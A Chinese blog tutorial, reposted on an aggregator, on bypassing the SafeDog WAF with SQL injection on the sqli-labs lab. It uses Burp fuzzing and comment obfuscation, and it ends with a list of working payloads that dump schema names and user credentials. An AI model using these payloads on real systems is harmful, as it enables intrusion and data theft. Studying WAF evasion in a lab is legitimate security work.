网络安全——SQL注入之安全狗bypass深度剖析

news2024/11/19 5:31:36

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:
舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:保持心脏震荡,等有人与我共鸣

 sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

一:环境配置

1.sqli-labs的sql注入靶场环境

这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样

2.安全狗waf软件

 这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
提取码:emlg

下载之后跟着提示安全即可

注意:1.安装成功之后记得开启安全狗的网站保护

           2.记得关闭安全狗的cc攻击防护,因为待会需要批量fuzz,可能被封ip 

3.检测WAF是否起作用

 这里以sqli-labs靶场的第一关做演示,如下

传入id=1后,加单引号,正常报错,说明可能存在注入

http://192.168.0.108/sql/less-1/?id=1' 

 再加入%23,回显正常,说明为字符型注入

安装注入逻辑,输入and 1=1逻辑判断语句,出现安全狗拦截页面,说明安全狗布置成功,如下 

http://192.168.0.108/sql/less-1/?id=1' and 1 = 1 %23

 二:思路讲解 

 如上,我们的and 1=1逻辑判断语句被拦截了,那现在的思路是什么?你认为现在应该做什么才能绕过过滤?这就是我首先要讲的,被拦截之后应该怎么处理

1.语句被拦截的处理办法

这是最应该先做也是最简单的部分,因为WAF大都是通过黑名单的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的某个函数或其他位置触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实一个一个试就行了

例如我这里的and 1=1被拦截,就可以依次输入
and 
and(空格) 
and 1
and 1=
and 1=1

通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了

演示: 比如这里我输入and,正常and+空格,正常,输入and 1出现拦截页面,如下

http://192.168.0.108/sql/less-1/?id=1' and 1 %23

 说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换

大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,所以这里就要给大家讲一个新的知识点——FUZZ绕过

 2.Fuzz绕过利用

Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试

 演示:

比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload,对于各种位置的替换方式不明白的也可以看一下我的博客,点此进入

举个简单的例子,来看看下面这个语句

http://192.168.0.108/sql/less-1/?id=1' and 1=1 %23

如果我们想要替换空格,最常见的就是/**/,如下

http://192.168.0.108/sql/less-1/?id=1'/**/and 1=1 %23

但却不一定好用,大概率被过滤,其实/**/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*和*/中间的数据,将其作为变量进行爆破,如下

 这里payload的类型选择burpsuite自带的Brute force,用特殊符号组成1-4位字典进行爆破,如下

 再设置线程,开启爆破即可,结果如下 

根据结果可以看到/!/!可以成功,配合包着的注释符就是/*/!/!*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧,下面就让我们一起来看看安全狗的WAF

三:绕过实战 

1.验证存在注入 

刚才我们通过对空格的替换方式的fuzz已经可以让如下语句正常执行了

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=1 %23

我们再尝试一下,1=2的逻辑判断语句,再次验证是否成功绕过

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=2 %23

此时页面出现报错,并没有正常显示,如下

 现在已经成功验证除了注入,此时我们该做什么呢?一般都是通过order by语句来获取字段数量,下面让我们来试试

2.order by 绕过

我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下

http://192.168.0.108/sql/less-1/?id=1'order by 2 %23

 老方法,判断报错位置,经过测试是因为order by这个语句被识别导致拦截,所以直接还是用fuzz替换空格,成功绕过,结果如下

http://192.168.0.108/sql/less-1/?id=1' order/*%26!%26!*/by 3 %2

只有字段数量为3时正常显示,其他都报错,说明此处的字段数为3,我们继续深入 

3. union语句绕过

 下一步就该我们的union语句了,再次尝试,果不其然又被拦截,如下,问题不大,我们继续尝试

http://192.168.0.108/sql/less-1/?id=1' union select 1,2,3 %23

 这里我们继续尝试替换select和union之间的空格,如下

http://192.168.0.108/sql/less-1/?id=1' union/*%2f!%2f*/select 1,2,3 %23

结果发现不管用了

咦,怎么不管用了呢?这说明什么?这说明他并不是通过“union select”这个字符串来判断的,我们单独输入union试试,果不其然,直接被拦截

当单独的函数被拦截时,我们有两个选择,

一个就是替换union函数为其它函数,换一个能实现同样功能的函数

另一个就是给union加上过滤标志,让他能够绕过WAF的检测

 这里我们选择给union加上过滤标志,这也是首选的,这里的过滤方式我们选择内敛注释绕过,内俩注释的格式如下

/*!特殊字符+函数名*!/

这也是比较好用的方式,但这里的特殊字符比较玄学,所以也需要通过fuzz来找出能绕过的版本号,先在版本号位置随便写个值作为变量,开启burpsuite,选中变量开启爆破,如下 

http://192.168.0.108/sql/less-1/?id=1' /*!4000union*//*%2f!%2f*/select 1,2,3 %23

爆破设置与空格的爆破设置相同,这里就不多讲了,结果如下

 fuzz成功跑出payload,而且还很多,随便选一个用,如下

http://192.168.0.108/sql/less-1/?id=1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23

可以看到确实没有被拦截了,再将前面的1改成-1,使后面的union语句能够正常执行,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23

 

 这样union语句也可以使用了,我们趁热打铁,继续继续

4.敏感信息绕过

刚才的union语句已经成功绕过,这时候我们就可以尝试用union语句获取数据,先获取当前数据库名,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database(),2,3 %23

不出所料,直接拦死

 这就很明显,database()函数被WAF识别并拦截了,那此时我们可以怎么绕过呢,当然,上面用的内联注释也是可行的,但这里我还给大家介绍一种绕过方式,那就是在database和()中间加注释,也能被解析,举个例子

原:database()
修:database/*xxx*/()

这时候同样,将里面的xxx作为变量,继续fuzz,设置和刚才一样,结果如下

又跑出来了一堆绕过姿势,6

此时语句为

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database/*%26!%26%26*/(),2,3 %23

好了,具体操作也就到这里了,再写的话就太多了,后面的获取表名,字段名,数据都会遇到安全狗的拦截,但是用上面的三种方法均可绕过,有兴趣的可以试试,下面也为你们准备了bypass安全狗的全部姿势 

三.bypass安全狗姿势汇总

查询当前数据库名称

-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23

查询所有数据库名称

-1' union/*//--/*//*!--+/*%0aselect/*//--/*//*!--+/*%0a1,2,(select/*//--/*//*!--+/*%0agroup_concat(schema_name) from/*//--/*//*!--+/*%0a information_schema./*!schemata*/)%23

 查指定数据库的所有表

-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23

指定表的所有字段

-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name)    from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

指定表的指定字段数据

-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password))    from   security.users --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/29575.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这些调试API技巧你熟悉吗?

通常,我们在调试第三方提供的API时,有时候并没那么顺畅,甚至可能本身就是API服务有问题,但是需要提供你结论的"依据"。下面整理了一些API调试技巧,也方便你甩锅 简单来说分为以下两点 检测状态信息检测返回…

MySQl(八):索引机制

MySQl:索引索引概述索引结构B树的演变过程B树Hash索引分类聚集索引和二级索引### 回表查询思考索引语法普通索引联合索引删除索引索引使用索引使用规则之验证索引效率索引使用规则之最左前缀法则索引使用规则之索引失效情况索引使用规则之SQL提示索引使用规则之覆盖…

java多线程

最近看了寒食君的java多线程的教程,感觉深受启发,做个笔记以后方便回忆。 寒食君的个人空间-寒食君个人主页-哔哩哔哩视频 java多线程 什么是线程模型? JVM线程与操作系统线程之间存在着某种映射关系,这两种不同维度的线程之间的规范和协…

SpringCloud微服务(十)——Hystrix服务降级熔断限流

Hystrix服务降级熔断限流 SpringCloud,已停更 前言 分布式系统面临的问题,复杂分布式体系结构中的应用程序,有数10个依赖关系(feign调用), 每个依赖关系在某些时候将不可避免地失败。低耦合就是微服务之间关系少。当…

pytorch初学笔记(十):神经网络基本结构之最大池化的使用

目录 一、最大池化:下采样 1.1 参数介绍 1.2 公式 二、最大池化的作用和目的 三、代码实战 3.1 题目要求 3.2 池化的具体实现 3.2.1 步骤 3.2.2 报错及其原因 3.2.3 ceil_mode不同运行的结果不同 3.2.4 完整代码 3.3 tensorboard可视化 一、最大池化&…

【强化学习论文合集】AAMAS-2022 强化学习论文 | 2022年合集(三)

强化学习(Reinforcement Learning, RL),又称再励学习、评价学习或增强学习,是机器学习的范式和方法论之一,用于描述和解决智能体(agent)在与环境的交互过程中通过学习策略以达成回报最大化或实现特定目标的问题。 本专栏整理了近几年国际顶级会议中,涉及强化学习(Rein…

相控阵天线(六):直线阵列特殊综合方法(变形泰勒综合法、贝利斯综合法、伍德沃德抽样法)

目录简介变形泰勒综合法贝利斯综合法伍德沃德-劳森抽样法配相抵消法简介 阵列天线的综合问题是其分析的逆问题,即是在预先给定辐射特性(如方向图形状、副瓣电平等)的情况下,综合出阵列激励幅度和相位。其中特殊综合主要包括:左右副瓣电平不相…

关于Idea合并不同分支代码你怎么看

一、环境说明 1. IDEA版本 2020.1 2. git版本 2.33.0 二、整体合并 1. 软件开发中,在一次版本迭代过程中,大家可能会在同一个开发分支dev进行开发,同时开发不同功能 ,开发完以后需要自行合并到测试分支test,交给测试…

Feign高级实战-源码分析

目录参考导读什么是FeignFeign 和 Openfeign 的区别OpenFeign的启动原理在启动类申明EnableFeignClientsregisterDefaultConfigurationregisterFeignClientsregisterFeignClientgetTarget()创建一个代理对象HttpClientFeignLoadBalancerConfigurationOpenFeign 的工作原理动态代…

多策略协同改进的阿基米德优化算法及其应用(Matlab代码实现)

🍒🍒🍒欢迎关注🌈🌈🌈 📝个人主页:我爱Matlab 👍点赞➕评论➕收藏 养成习惯(一键三连)🌻🌻🌻 🍌希…

论文阅读:On the User Behavior Leakage from Recommender System Exposure

论文地址 Motivation: 现阶段对于用户行为的保护仅仅从用户端来考虑,比如用户的行为数据等。然而推荐系统是一个闭环的过程,即用户交互了物品,推荐系统根据用户的交互信息去推荐物品,用户也会根据推荐系统推荐的物品做…

[Java] 浅析rpc的原理及所用到的基本底层技术

文章目录前言阅读前须知rpc是什么?别的进程 vs 别的机器rpc的目的或是我们为什么需要rpc?实现rpc所涉及到的底层技术1. 通信技术(网络IO、Network IO)套接字(Socket)bio、nio与Netty2. 网络协议&#xff08…

【仿真建模】第三课:AnyLogic入门基础课程 - 多层建筑行人疏散仿真讲解

文章目录一、Agent类的概念二、行人疏散仿真2.1 仿真模型示意图2.2 具体实现步骤一、Agent类的概念 二、行人疏散仿真 2.1 仿真模型示意图 2.2 具体实现步骤 首先,新建模型 新建一个MyFloor1对象,代表第一个楼层 创建矩形墙,并放到原点…

专业数采软件DXP OPC Server售后问题解决方案

DeviceXPlorer OPC Server是一套实现工业自动化设备数据读取或发送的软件。它提供与制造车间中的控制设备(如 PLC、机床和机器人)的连接,支持200多种设备通讯协议,便捷的配置,快速实现设备联网采集。 在与设备通讯方面…

HTML+CSS大作业 环境网页设计与实现(垃圾分类) web前端开发技术 web课程设计 网页规划与设计

🎀 精彩专栏推荐👇🏻👇🏻👇🏻 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业…

idea永久设置maven配置,新项目不用再设置

在这里设置就是永久的设置,新项目将使用该设置,maven的配置也在新项目和新模块创建的时候直接加载 英文的话,看位置大概也应该可以找到 点开后左上角搜索maven,找到如图maven的设置 主路径就是maven的安装包软件的路径 用户设置…

LeetCode 110平衡二叉树 257.二叉树的所有路径 404左叶子之和

文章目录110平衡二叉树c 代码实现python 代码实现257.二叉树的所有路径c代码实现python 代码实现404左叶子之和c 代码实现python 代码110平衡二叉树 给定一个二叉树,判断它是否是高度平衡的二叉树。 本题中,一棵高度平衡二叉树定义为: 一个…

http 知识整理

1. 启发式缓存 在不设置cache-control/expires的情况下,浏览器不会默认进入协商缓存。而是根据Date/LastModified去自动计算出合适的缓存时间。 计算方式为:(Date - LastModified) * n n:LM-Factor,处于[0,1]之间 2. 强制缓存 -…

Vue的模版代码与数据绑定方式

目录 模版代码 插值语法 指令语法 数据多层访问 vue模版语小结 数据绑定方式 模版代码 插值语法 插值语法就是使用{{xxx}}描述的 <div id"root">{{name}} </div> 指令语法 <div id"root"><a :href"school.url">…

lazada买家订单导出

下载安装与运行 https://www.yuque.com/webcrawl/handbook/mtad3q 用途与功能 所见即所得的导出自由选择导出项支持Excel、JSON两种方式导出自由排序Excel导出列顺序导出过程中有进度提示&#xff0c;用户可以随时提前中止 导出过程演示 选择lazada订单导出&#xff0c;开始…